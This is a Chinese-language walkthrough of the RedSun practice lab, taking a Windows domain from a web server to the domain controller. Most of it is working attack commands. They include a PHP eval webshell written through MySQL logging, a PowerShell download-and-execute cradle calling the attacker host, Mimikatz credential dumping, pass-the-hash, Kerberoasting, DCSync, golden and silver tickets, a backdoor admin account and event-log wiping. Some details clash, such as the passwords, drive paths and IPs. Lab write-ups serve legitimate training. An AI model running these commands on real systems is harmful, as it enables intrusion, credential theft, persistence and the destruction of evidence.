红日靶场(RedSun)渗透测试笔记
靶场环境架构
| 主机角色 | 主机名 | IP地址 | 说明 |
|---|---|---|---|
| Web服务器 | STU1 | 10.10.10.140 / 192.168.52.128 | 双网卡,域成员 |
| 域控制器 | OWA | 192.168.52.138 | DC,DNS服务器 |
| 域成员机 | ROOT-TVI862UBEH | 192.168.52.141 | 域成员 |
网络拓扑:
攻击机(Kali) → 10.10.10.0/24 → STU1(10.10.10.140)
↓
192.168.52.0/24
↓
┌───────┴───────┐
OWA(138) ROOT-TVI862UBEH(141)
第一阶段:信息收集(攻击机:Kali Linux)
步骤 1.1:主机发现
目标: 确定靶机是否在线,获取其IP地址
工具: arp-scan、nmap、netdiscover
bash
# 方法1:使用nmap进行Ping扫描
sudo nmap -sn 10.10.10.0/24
# 方法2:使用arp-scan扫描同网段存活主机
sudo arp-scan -l -I eth0
回显(发现靶机):

解读: 10.10.10.140 就是我们要攻击的Web服务器STU1。
步骤 1.2:端口扫描
目标: 发现靶机开放的所有端口和服务
工具: nmap
bash
# 全端口扫描(TCP)
sudo nmap -p- -sS -T4 10.10.10.140
参数说明:
| 参数 | 含义 |
|---|---|
-p- |
扫描所有65535个端口 |
-sS |
SYN半开扫描(快速且隐蔽) |
-T4 |
扫描速度(T0-T5,T4较快) |
回显:

解读:
- 80端口 → Web服务,phpStudy环境
- 3306端口 → MySQL数据库
- 445端口 → SMB共享
- 3389端口 → 远程桌面
- 135端口 → RPC服务
下一步: 既然有Web服务,我们先进行Web目录扫描。
步骤 1.3:Web目录扫描
目标: 发现Web服务器上的隐藏目录和文件
工具: dirb、dirsearch、gobuster
bash
# 方法1:使用dirb(Kali自带)
dirb http://10.10.10.140
# 方法2:使用gobuster
gobuster dir -u http://10.10.10.140 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html
常用字典路径:
/usr/share/wordlists/dirb/common.txt/usr/share/wordlists/dirb/big.txt/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
回显:

关键发现解读:
/l.php→ phpStudy探针,暴露大量服务器信息/phpinfo.php→ PHP配置信息泄露/phpmyadmin/→ 数据库管理后台,可能存在弱口令
步骤 1.4:访问phpStudy探针收集信息
目标: 通过探针获取服务器详细配置
操作: 浏览器访问 http://10.10.10.140/l.php
看到的信息:

步骤 1.5:访问phpinfo.php
目标: 获取更多PHP配置信息
操作: 浏览器访问 http://10.10.10.140/phpinfo.php
重点关注:
allow_url_fopen→ On(允许文件包含)allow_url_include→ On(允许远程文件包含)disable_functions→ 查看禁用了哪些函数DOCUMENT_ROOT→C:/phpStudy/WWW



第二阶段:Web渗透(攻击机:Kali Linux)
步骤 2.1:phpMyAdmin弱口令爆破
目标: 获取MySQL数据库管理权限
工具: Burp Suite、hydra、msfconsole
方法1:手动尝试常见弱口令
浏览器访问 http://10.10.10.140/phpmyadmin/
尝试以下账号密码:
- root / (空密码)
- root / root
- root / 123456
- root / admin
- root / phpstudy
使用账号root,密码root,成功登录

解读: MySQL root密码是 root,成功登录phpMyAdmin!
步骤 2.2:通过MySQL日志写入WebShell
目标: 利用MySQL日志功能写入PHP一句话木马
操作环境: phpMyAdmin的SQL执行窗口 或 MySQL命令行
原理: MySQL可以开启general_log,将执行的SQL语句记录到指定文件。如果指定文件是Web目录下的PHP文件,就可以写入WebShell。
步骤:
sql
-- 第1步:查看当前日志配置
SHOW VARIABLES LIKE '%general%';
回显:

sql
-- 第2步:开启general_log
SET GLOBAL general_log = 'ON';

sql
-- 第3步:修改日志文件路径到Web目录
SET GLOBAL general_log_file = 'C:/phpStudy/WWW/log.php';

sql
-- 第4步:执行SQL语句,写入一句话木马
SELECT '<?php @eval($_POST["cmd"]);?>';

验证WebShell:
浏览器访问 http://10.10.10.140/log.php

说明WebShell写入成功!
步骤 2.3:使用蚁剑连接WebShell
目标: 获取Web服务器的图形化控制权限
工具: 蚁剑(AntSword)
蚁剑连接步骤:
- 打开蚁剑 → 右键 → 添加数据
- URL:
http://10.10.10.140/log.php - 密码:
cmd - 连接类型:
PHP (eval) - 点击"测试连接",显示"连接成功"
- 点击"添加",双击进入

连接成功后可以:
- 查看文件管理器
- 打开虚拟终端
- 查看数据库
- 打开MSF会话

第三阶段:系统信息收集与提权(靶机:通过蚁剑/MSF)
步骤 3.1:基础信息收集
目标: 了解当前系统环境、用户权限、网络配置
在蚁剑虚拟终端中执行:

# 查看用户所属组
whoami /groups
# 关键:查看是否有Domain Admins组

# 查看网络配置
ipconfig /all
# 关键发现:双网卡!
# 以太网适配器 本地连接: 10.10.10.140
# 以太网适配器 本地连接 2: 192.168.52.137

关键发现解读:
- 双网卡 → 说明这是DMZ区服务器,192.168.52.0/24是内网
- 域环境 →
whoami显示god\xxx,说明在god.org域中 - 管理员权限 → 是
administrator,权限较高
步骤 3.2:域信息收集
目标: 发现域控制器和其他域成员
# 查看当前域
net view /domain

# 查看域内所有计算机
net view /domain:GOD

# 查看域控制器
nslookup god.org
# 或
nltest /dclist:god.org

# 查看域管理员
net group "Domain Admins" /domain

# 查看域用户
net user /domain

# 查看域内所有组
net group /domain

关键发现:
- 域控制器:
OWA.god.org(192.168.52.138) - 域成员:
ROOT-TVI862UBEH(192.168.52.141) - 当前机器:
STU1(192.168.52.137)
步骤 3.3:使用MSF获取Meterpreter会话
目标: 将会话提升到MSF Meterpreter,便于后续操作
攻击机(Kali)操作:
bash
msfconsole
# 生成PHP反向Shell
use exploit/multi/script/web_delivery
set target PSH
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.10.128
set LPORT 4444
set SRVPORT 8080
set PSH-EncodedCommand false # 禁用编码,避免 ret=1
set SSL false # 禁用 SSL 简化
exploit

在蚁剑终端中执行这段代码
powershell.exe -nop -w hidden -c [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$n=new-object net.webclient;if([System.Net.WebProxy]::GetDefaultProxy().address -ne $null){$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;};IEX ((new-object Net.WebClient).DownloadString('http://10.10.10.128:8080/KNwY3lk1eDgqvSX/HzTJymlLA7P4Xn'));IEX ((new-object Net.WebClient).DownloadString('http://10.10.10.128:8080/KNwY3lk1eDgqvSX'));
MSF会收到会话:
[*] 10.10.10.140 web_delivery - Delivering AMSI Bypass (1386 bytes)
[*] 10.10.10.140 web_delivery - Delivering Payload (3523 bytes)
[*] Sending stage (199238 bytes) to 10.10.10.140
[*] Meterpreter session 1 opened (10.10.10.128:4444 -> 10.10.10.140:2410) at 2026-05-04 06:19:03 -0400
进入Meterpreter:
bash
sessions -i 1
# 查看当前权限
getuid
# Server username: GOD\Administrator
# 查看系统信息
sysinfo

步骤 3.4:使用Mimikatz抓取密码
目标: 抓取当前系统的明文密码和哈希
在Meterpreter中:
bash
# 提权
getsystem
# 迁移到 explorer 进程(稳定)
migrate -N explorer.exe
# 加载 mimikatz
load kiwi
# 抓取所有凭证
creds_all
# 导出SAM数据库
kiwi_cmd lsadump::sam
# 或者使用传统mimikatz
kiwi_cmd sekurlsa::tspkg
kiwi_cmd sekurlsa::wdigest
回显(关键信息):

# 抓取明文密码
kiwi_cmd sekurlsa::logonpasswords

关键收获:
- 域管理员账号:
GOD\Administrator - 明文密码:
hongrisec@2026 - NTLM哈希:
794adae2ad271e3a7bba23288c7d4702 - LM:
edea194d76c77d872f1c9569f45410d9
步骤 3.5:添加路由实现内网穿透
目标: 让Kali能够通过STU1访问内网192.168.52.0/24
在Meterpreter中:
bash
# 查看当前路由表
route

# 添加内网路由
run autoroute -s 192.168.52.0/24

# 查看添加的路由
run autoroute -p

# 将路由添加到MSF
background
use post/multi/manage/autoroute
set SESSION 5
exploit

开启SOCKS代理:
bash
# 使用MSF的socks4a模块
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 4a
exploit -j
配置proxychains:
bash
# 编辑proxychains配置
nano /etc/proxychains4.conf
# 在最后一行添加:
socks4 127.0.0.1 1080

测试内网连通性:
bash
# 使用proxychains扫描内网DC
proxychains nmap -sT -Pn -p 445,3389,53,88,135 192.168.52.138

# 扫描另一台域成员
proxychains nmap -sT -Pn -p 445,3389,135 192.168.52.141

第四阶段:横向移动(攻击机:Kali,通过代理)
步骤 4.1:Pass-the-Hash攻击
目标: 使用抓取的NTLM哈希直接登录其他机器,无需明文密码
工具: impacket-psexec、impacket-wmiexec、impacket-smbexec
bash
# 使用psexec进行Pass-the-Hash
proxychains impacket-psexec -hashes edea194d76c77d872f1c9569f45410d9:794adae2ad271e3a7bba23288c7d4702 GOD/Administrator@192.168.52.138

解读: 成功获取域控制器的SYSTEM权限!
# 使用wmiexec(更隐蔽,不创建服务)
proxychains impacket-wmiexec -hashes edea194d76c77d872f1c9569f45410d9:794adae2ad271e3a7bba23288c7d4702 GOD/Administrator@192.168.52.138
# 攻击另一台域成员
proxychains impacket-wmiexec -hashes edea194d76c77d872f1c9569f45410d9:794adae2ad271e3a7bba23288c7d4702 GOD/Administrator@192.168.52.141
| 场景 | 推荐工具 |
|---|---|
| 需要最高权限(抓 hash、读 SAM) | psexec(SYSTEM) |
| 需要用户环境(访问用户文件、注册表) | wmiexec(用户上下文) |
| 隐蔽性要求高 | wmiexec(不创建服务,不留日志) |
| 防火墙严格(445 通但 135 不通) | psexec(只用 445) |
步骤 4.2:使用MSF进行横向移动
目标: 通过MSF的psexec模块获取DC的Meterpreter会话
bash
msfconsole
# 使用psexec模块
use exploit/windows/smb/psexec
set RHOSTS 192.168.52.138
set SMBDomain GOD
set SMBUser Administrator
set SMBPass hongrisec@2026
set payload windows/meterpreter/bind_tcp # 内网使用bind模式
set LPORT 4445
exploit

步骤 4.3:Pass-the-Ticket攻击(Kerberos票据传递)
目标: 使用Kerberos票据进行横向移动
在STU1的Meterpreter中导出票据:
bash
# 加载kiwi
load kiwi
# 导出所有票据
kiwi_cmd sekurlsa::tickets /export
# 或者使用MSF模块
run post/windows/gather/enum_domains
使用kekeo进行票据传递(在靶机上):
cmd
# 在靶机上传kekeo.exe
# 导入票据
kekeo.exe "tgt::import path\to\ticket.kirbi" exit
# 或者使用MSF
use exploit/windows/local/wmi
set SESSION 1
set RHOST 192.168.52.138
exploit
步骤 4.4:Kerberoasting攻击
目标: 获取域内服务账号的TGS票据,离线破解密码
工具: impacket-GetUserSPNs
bash
# 请求并导出服务票据
proxychains impacket-GetUserSPNs -request -dc-ip 192.168.52.138 GOD/Administrator:hongrisec@2026 -outputfile hashes.kerberoast
# 或者使用hashcat破解
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt
步骤 4.5:AS-REP Roasting攻击
目标: 针对设置了"不需要Kerberos预认证"的账户
bash
# 使用impacket-GetNPUsers
proxychains impacket-GetNPUsers -dc-ip 192.168.52.138 GOD/ -usersfile users.txt -format hashcat -outputfile hashes.asrep
# 破解
hashcat -m 18200 hashes.asrep /usr/share/wordlists/rockyou.txt
第五阶段:域控权限维持与数据收集
步骤 5.1:导出域内所有用户哈希
目标: 获取域内所有用户的NTLM哈希
在DC的Meterpreter中:
bash
# 使用kiwi导出所有域用户哈希
kiwi_cmd lsadump::dcsync /domain:god.org /all /csv
# 或者导出特定用户
kiwi_cmd lsadump::dcsync /domain:god.org /user:Administrator
# 使用MSF模块
run post/windows/gather/hashdump
使用impacket-secretsdump(从Kali):
bash
proxychains impacket-secretsdump GOD/Administrator:Admin@123@192.168.52.138
预期回显:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:42e2656ec24331259f82168ff91544e9:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:xxxxx:::
liukaifeng01:1110:aad3b435b51404eeaad3b435b51404ee:xxxxx:::
步骤 5.2:制作黄金票据(Golden Ticket)
目标: 创建长期有效的域管理员票据,实现持久化访问
在DC的Meterpreter中:
bash
# 获取域SID
kiwi_cmd lsadump::lsa /patch
# 关键信息:
# Domain : GOD / S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx
# krbtgt NTLM: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# 制作黄金票据
kiwi_cmd kerberos::golden /user:Administrator /domain:god.org /sid:S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx /krbtgt:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /ticket:golden.kirbi
# 注入票据
kiwi_cmd kerberos::ptt golden.kirbi
步骤 5.3:制作白银票据(Silver Ticket)
目标: 针对特定服务的票据
bash
# 制作CIFS服务的白银票据
kiwi_cmd kerberos::golden /user:Administrator /domain:god.org /sid:S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx /target:owa.god.org /service:cifs /rc4:42e2656ec24331259f82168ff91544e9 /ptt
步骤 5.4:创建域后门
目标: 添加域管理员账户,保持长期访问
在DC的shell中:
cmd
# 添加域用户
net user hacker P@ssw0rd /add /domain
# 添加到域管理员组
net group "Domain Admins" hacker /add /domain
# 验证
net user hacker /domain
第六阶段:清理痕迹
步骤 6.1:删除日志
cmd
# 清除Windows事件日志
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
# 或者使用Meterpreter
clearev
步骤 6.2:删除创建的账户和后门
cmd
net user hacker /delete /domain
步骤 6.3:删除上传的文件
cmd
del D:\phpStudy\WWW\log.php
完整攻击链总结
┌─────────────────────────────────────────────────────────────┐
│ 第一步:信息收集(Kali) │
│ - nmap扫描端口 → 发现80,3306,445,3389 │
│ - dirb扫描目录 → 发现/phpmyadmin, /l.php │
│ - 访问探针 → 获取服务器配置、双网卡信息 │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 第二步:Web渗透 → 获取WebShell(Kali) │
│ - phpMyAdmin弱口令:root/root │
│ - MySQL日志写Shell:general_log → D:/phpStudy/WWW/log.php │
│ - 蚁剑连接WebShell │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 第三步:系统信息收集(靶机STU1) │
│ - whoami /groups → 发现是域管理员! │
│ - ipconfig → 发现双网卡(10.10.10.140 + 192.168.52.128) │
│ - net view /domain → 发现GOD域内机器 │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 第四步:抓取凭据(靶机STU1) │
│ - mimikatz sekurlsa::logonpasswords │
│ - 获取:GOD\Administrator:Admin@123 │
│ - 获取NTLM哈希 │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 第五步:内网穿透(Kali + STU1) │
│ - MSF添加路由:run autoroute -s 192.168.52.0/24 │
│ - 开启SOCKS代理:socks4a on 1080 │
│ - proxychains配置代理 │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 第六步:横向移动 → 域控(Kali通过代理) │
│ - Pass-the-Hash: impacket-psexec/wmiexec │
│ - 成功获取OWA(192.168.52.138)的SYSTEM权限 │
│ - 同样获取ROOT-TVI862UBEH(192.168.52.141)权限 │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 第七步:域权限维持(域控OWA) │
│ - DCSync导出所有域用户哈希 │
│ - 制作黄金票据/白银票据 │
│ - 添加域后门账户 │
└─────────────────────────────────────────────────────────────┘
常用工具速查表
| 阶段 | 工具 | 用途 |
|---|---|---|
| 信息收集 | nmap | 端口扫描 |
| 信息收集 | dirb/dirsearch | 目录扫描 |
| Web渗透 | Burp Suite | 抓包、爆破 |
| Web渗透 | sqlmap | SQL注入 |
| Web渗透 | 蚁剑/冰蝎 | WebShell管理 |
| 系统渗透 | Mimikatz | 密码抓取 |
| 系统渗透 | MSF | 渗透框架 |
| 横向移动 | impacket套件 | Pass-the-Hash |
| 横向移动 | kekeo | Kerberos攻击 |
| 密码破解 | hashcat/John | 哈希破解 |
| 内网穿透 | proxychains | 代理工具 |